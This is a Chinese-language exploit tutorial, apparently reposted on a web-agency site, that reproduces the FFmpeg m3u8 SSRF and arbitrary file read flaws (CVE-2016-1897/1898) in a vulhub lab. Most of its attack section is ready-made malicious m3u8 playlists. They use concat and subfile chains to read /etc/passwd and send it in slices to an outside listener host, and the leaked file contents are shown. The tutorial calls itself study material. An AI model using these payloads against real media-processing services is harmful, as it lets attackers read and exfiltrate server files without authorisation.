小編給大家分享一下ffmpeg任意文件讀取漏洞SSRF的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
創(chuàng)新互聯(lián)公司專業(yè)成都網(wǎng)站建設(shè)、成都網(wǎng)站制作,集網(wǎng)站策劃、網(wǎng)站設(shè)計(jì)、網(wǎng)站制作于一體,網(wǎng)站seo、網(wǎng)站優(yōu)化、網(wǎng)站營(yíng)銷、軟文發(fā)布平臺(tái)等專業(yè)人才根據(jù)搜索規(guī)律編程設(shè)計(jì),讓網(wǎng)站在運(yùn)行后,在搜索中有好的表現(xiàn),專業(yè)設(shè)計(jì)制作為您帶來(lái)效益的網(wǎng)站!讓網(wǎng)站建設(shè)為您創(chuàng)造效益。
僅供參考學(xué)習(xí)使用
Port : 8090
FFmpeg 是一套可以用來(lái)記錄、轉(zhuǎn)換數(shù)字音頻、視頻,并能將其轉(zhuǎn)化為流的開(kāi)源計(jì)算機(jī)程序。功能非常強(qiáng)大,是每個(gè)視頻網(wǎng)站必不可少的多媒體文件處理程序。
在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒體 m3u8 文件處理不當(dāng),可導(dǎo)致 SSRF 漏洞與任意文件讀取漏洞。當(dāng)網(wǎng)站允許用戶上傳多媒體文件,并使用 FFMpeg 進(jìn)行處理時(shí)會(huì)觸發(fā)該漏洞。
這個(gè)漏洞有兩個(gè) CVE 編號(hào),分別是 CVE-2016-1897 和 CVE-2016-1898,它們兩個(gè)的區(qū)別在于讀取文件的行數(shù),CVE-2016-1897 只能讀取文件的第一行,而 CVE-2016-1898 可以讀取文件任意行,原理基本一樣。
影響版本
FFmpeg 2.8.x < 2.8.5 FFmpeg 2.7.x < 2.7.5 FFmpeg 2.6.x < 2.6.7 FFmpeg 2.5.x < 2.5.10
這個(gè)漏洞主要涉及 ffmpeg 對(duì) m3u8文件的處理不當(dāng)導(dǎo)致的,具體的原理部分不過(guò)多贅述,可以參考如下連接:
http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://habr.com/en/company/mailru/blog/274855/
如下測(cè)試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub
運(yùn)行測(cè)試環(huán)境:
docker-compose up -d
運(yùn)行完成后,訪問(wèn)對(duì)應(yīng)的 URL 端口,可以看到有個(gè)視頻上傳的接口
查看后臺(tái)的 php 源碼,實(shí)際上只是借用了 ffmpeg -i 這個(gè)命令,因此實(shí)際上如果沒(méi)有部署 docker 鏡像,可以之際安裝 ffmpeg 軟件,通過(guò) ffmpeg 轉(zhuǎn)換即可。
<?php if(!empty($_FILES)) { $filename = escapeshellarg($_FILES['file']['tmp_name']); $newname = './' . uniqid() . '.mp4'; shell_exec("ffmpeg -i $filename $newname"); } ?>
我們首先構(gòu)造一個(gè)惡意的 m3u8 的文件(用記事本編寫(xiě),保存為.m3u8
后綴):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://X.X.X.X:9999/test.txt #EXT-X-ENDLIST
各參數(shù)說(shuō)明: #EXTM3U 標(biāo)簽是 m3u8 的文件頭,開(kāi)頭必須要這一行 #EXT-X-MEDIA-SEQUENCE 表示每一個(gè)media URI 在 PlayList中只有唯一的序號(hào),相鄰之間序號(hào)+1 #EXTINF:10.0, 表示該一段 TS 流文件的長(zhǎng)度 #EXT-X-ENDLIST 這個(gè)相當(dāng)于文件結(jié)束符
這些是 m3u8 的最基本的標(biāo)簽,而問(wèn)題就出在 FFMpeg 去請(qǐng)求 TS 流文件(URL)時(shí),F(xiàn)FMpeg 不會(huì)判斷里面的流地址,直接請(qǐng)求。服務(wù)端監(jiān)聽(tīng)端口:
既然可以請(qǐng)求外部數(shù)據(jù),因此可以嘗試 SSRF 帶外。通過(guò)查閱資料,發(fā)現(xiàn) ffmpeg 內(nèi)部有一個(gè) concat 函數(shù),因此我們可以將內(nèi)部數(shù)據(jù)通過(guò) concat 拼接 OOB。
如果直接使用 concat 拼接,只會(huì)正常請(qǐng)求,因此我們需要一些小技巧,將本地文件帶出來(lái)。
首先,我們需要在 web 服務(wù)器上創(chuàng)建一個(gè) error.txt,文件內(nèi)容是 m3u8 的格式,其中不包含文件結(jié)束符。
其次,我們?cè)賱?chuàng)建一個(gè)惡意的 m3u8 文件(或者 avi、mp4 等后綴),文件內(nèi)容通過(guò) concat 拼接本地文件 /etc/passwd。
最后,我們上傳這個(gè)惡意的 m3u8 文件。參考文件內(nèi)容如下:
error.txt
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://X.X.X.X:9999/?
upload.m3u8
#EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd #EXT-X-ENDLIST
web 服務(wù)器部署 error.txt:
上傳惡意的 m3u8 文件:
同時(shí),vps 監(jiān)聽(tīng) 9999 端口:
注意:
以上的文件需要使用記事本編輯保存,選擇默認(rèn) utf-8 格式。嘗試使用 vim 創(chuàng)建時(shí),一直復(fù)現(xiàn)失敗。
特地鳴謝如下鏈接作者提供的解決方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/
因?yàn)樯蟼髦?,后端?huì)一直進(jìn)行轉(zhuǎn)碼,進(jìn)程會(huì)卡死,頁(yè)面無(wú)響應(yīng)。需要進(jìn)入 docker 中,手動(dòng) kill ffmpeg 進(jìn)程。
可以發(fā)現(xiàn)以上的操作方式,只能將 /etc/passwd 數(shù)據(jù)中的第一行帶外出來(lái),但是后面的內(nèi)容還是沒(méi)有讀出來(lái),因此我們借助其他函數(shù)進(jìn)行進(jìn)一步利用。ffmpeg 還提供了 subfile 函數(shù),其中 Start 后是開(kāi)始截取的偏移量,以字節(jié)為單位,end 是結(jié)束的偏移量。
只需要修改惡意的 upload.m3u8 文件
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd #EXT-X-ENDLIST
在逐漸增加 subfile 偏移量的測(cè)試過(guò)程中,發(fā)現(xiàn)超過(guò)一定長(zhǎng)度后,數(shù)據(jù)讀取部分不再增加。猜測(cè)可能和 URL 長(zhǎng)度或者和換行符有關(guān)。
在不斷測(cè)試的過(guò)程中,最終發(fā)現(xiàn),與 URL 長(zhǎng)度,m3u8 請(qǐng)求 URL 都無(wú)關(guān)系,也沒(méi)有 32 字節(jié)的限制。實(shí)際上 concat 連接 URL 時(shí)是不能包含換行符的。/etc/passwd 文件存儲(chǔ)過(guò)程中換行符 \n 是占一個(gè)字符的,所以無(wú)論是通過(guò) file 協(xié)議,還是 subfile 切片,只要是讀取到 \n 則中斷,后面的內(nèi)容無(wú)法輸出。
按照這個(gè)思路,我們能只需要通過(guò) subfile 讀取文件時(shí),跳過(guò) \n 符號(hào),不斷根據(jù)返回的數(shù)據(jù)進(jìn)行調(diào)試,最終可以讀取到完整的數(shù)據(jù)。以如下的 /etc/passwd 的文件為例,附上 payload 參考:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd #EXT-X-ENDLIST
最終讀出所有數(shù)據(jù):
以上是“ffmpeg任意文件讀取漏洞SSRF的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
網(wǎng)頁(yè)題目:ffmpeg任意文件讀取漏洞SSRF的示例分析
網(wǎng)頁(yè)鏈接:http://muchs.cn/article20/ghesco.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站改版、域名注冊(cè)、網(wǎng)站收錄、、網(wǎng)站內(nèi)鏈、網(wǎng)站導(dǎo)航
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)